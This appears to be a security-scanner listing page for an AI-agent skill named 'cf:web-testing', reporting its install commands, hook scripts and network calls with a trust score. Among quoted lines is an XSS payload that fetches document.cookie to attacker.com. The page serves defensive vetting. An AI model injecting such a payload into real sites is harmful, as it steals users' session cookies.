← All skills
cf:web-testing
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By haposoft/cafekit (GitHub) · coding · 54 stars · scanned at commit e800d3d
Web testing with Playwright, Vitest, k6. E2E/unit/integration/load/security/visual/a11y testing. Use for test automation, flakiness, Core Web Vitals, mobile gestures, cross-browser.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 57 places.
Show 17 more
- plugins/cf/skills/web-testing/SKILL.md, line 25
npx @axe-core/cli https://example.com # Accessibility - plugins/cf/skills/web-testing/SKILL.md, line 26
npx lighthouse https://example.com # Performance - plugins/cf/skills/web-testing/references/accessibility-testing.md, line 70
npx @axe-core/cli https://example.com - plugins/cf/skills/web-testing/references/accessibility-testing.md, line 71
npx lighthouse https://example.com --only-categories=accessibility - plugins/cf/skills/web-testing/references/accessibility-testing.md, line 72
npx pa11y https://example.com - plugins/cf/skills/web-testing/references/accessibility-testing.md, line 79
run: npx playwright test --grep @a11y - plugins/cf/skills/web-testing/references/api-testing.md, line 77
npx dredd api.yaml http://localhost:3000 - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 36
- run: npx playwright install --with-deps - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 37
- run: npx playwright test --shard=${{ matrix.shard }}/4 - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 49
npx playwright test --shard=1/4 - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 72
- run: npx playwright test --retries=2 - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 73
- run: npx playwright test --grep-invert @flaky # Quarantine - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 79
- run: npm install -g @lhci/cli && lhci autorun - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 92
- run: npx playwright merge-reports ./all-reports - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 108
- npm ci && npx playwright install --with-deps - plugins/cf/skills/web-testing/references/ci-cd-testing-workflows.md, line 109
- npx playwright test --shard=$CI_NODE_INDEX/$CI_NODE_TOTAL - plugins/cf/skills/web-testing/references/contract-testing.md, line 125
- run: npx pact-broker publish ./pacts
and 37 more places
Runs commands on your computer
The author does not mention this. It runs automatically when the plugin is installed. Expected for a coding skill.
Found in 31 places.
Show 17 more
- plugins/cf/hooks/docs-sync.cjs, line 17
const { execFileSync } = require('child_process'); - plugins/cf/hooks/docs-sync.cjs, line 60
const currentHash = execFileSync('git', [ - plugins/cf/hooks/hooks.json, line 9
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/session.cjs\"" - plugins/cf/hooks/hooks.json, line 13
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/state.cjs\"" - plugins/cf/hooks/hooks.json, line 22
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/plugin-context.cjs\"" - plugins/cf/hooks/hooks.json, line 33
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/agent.cjs\"" - plugins/cf/hooks/hooks.json, line 44
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/precompact.cjs\"" - plugins/cf/hooks/hooks.json, line 54
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/secret-output-guardrail.cjs\"" - plugins/cf/hooks/hooks.json, line 58
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/rules.cjs\"" - plugins/cf/hooks/hooks.json, line 62
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/spec-state.cjs\"" - plugins/cf/hooks/hooks.json, line 73
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/privacy-block.cjs\"" - plugins/cf/hooks/hooks.json, line 77
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/inspect-block.cjs\"" - plugins/cf/hooks/hooks.json, line 88
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/state.cjs\"" - plugins/cf/hooks/hooks.json, line 97
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/spec-state.cjs\"" - plugins/cf/hooks/hooks.json, line 107
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/spec-gate.cjs\"" - plugins/cf/hooks/hooks.json, line 111
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/state.cjs\"" - plugins/cf/hooks/hooks.json, line 121
"command": "node \"${CLAUDE_PLUGIN_ROOT}/hooks/state.cjs\""
and 11 more places
Sends data to these websites: staging.example.com, example.com, attacker.com
The author does not mention this. It runs automatically when the plugin is installed.
Found in 14 places.
Show 11 more
- plugins/cf/skills/web-testing/references/load-testing-k6.md, line 23
const res = http.get('http://localhost:3000/api/users'); - plugins/cf/skills/web-testing/references/load-testing-k6.md, line 61
http.get(`${BASE_URL}/api/protected`, params); - plugins/cf/skills/web-testing/references/pre-release-checklist.md, line 74
curl -I https://staging.example.com | grep -i security # Headers - plugins/cf/skills/web-testing/references/security-checklists.md, line 77
curl -I https://example.com - plugins/cf/skills/web-testing/references/security-testing-overview.md, line 57
curl -I https://example.com | grep -i "security\|content-security\|x-" - plugins/cf/skills/web-testing/references/vulnerability-payloads.md, line 43
<script>fetch('http://attacker.com/?c='+document.cookie)</script> - plugins/cf/hooks/lib/hook-payload.cjs, line 76
web_search: 'WebSearch', - plugins/cf/hooks/lib/hook-payload.cjs, line 77
web_fetch: 'WebFetch', - plugins/cf/hooks/lib/hook-payload.cjs, line 87
webfetch: 'WebFetch', - plugins/cf/hooks/lib/hook-payload.cjs, line 88
websearch: 'WebSearch', - plugins/cf/hooks/lib/update-check.cjs, line 12
const req = https.get(
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Other copies in this repository
haposoft/cafekit has 1 more folder with a skill named cf:web-testing. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'cf-web-testing' ] || [ -L ~/.agents/skills/'cf-web-testing' ]; then echo 'A skill folder named cf-web-testing already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/haposoft/cafekit' "$d" && git -C "$d" checkout --quiet 'e800d3dbf8e84dd92e85cf58e99a4f4150e240db' -- 'plugins/cf/skills/web-testing' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/cf/skills/web-testing' ~/.agents/skills/'cf-web-testing' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'cf-web-testing' ~/.claude/skills/'cf-web-testing' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for haposoft/cafekit shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/haposoft/cafekit/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | e800d3d | 75 |
| 2026-11-06 | e800d3d | 45 |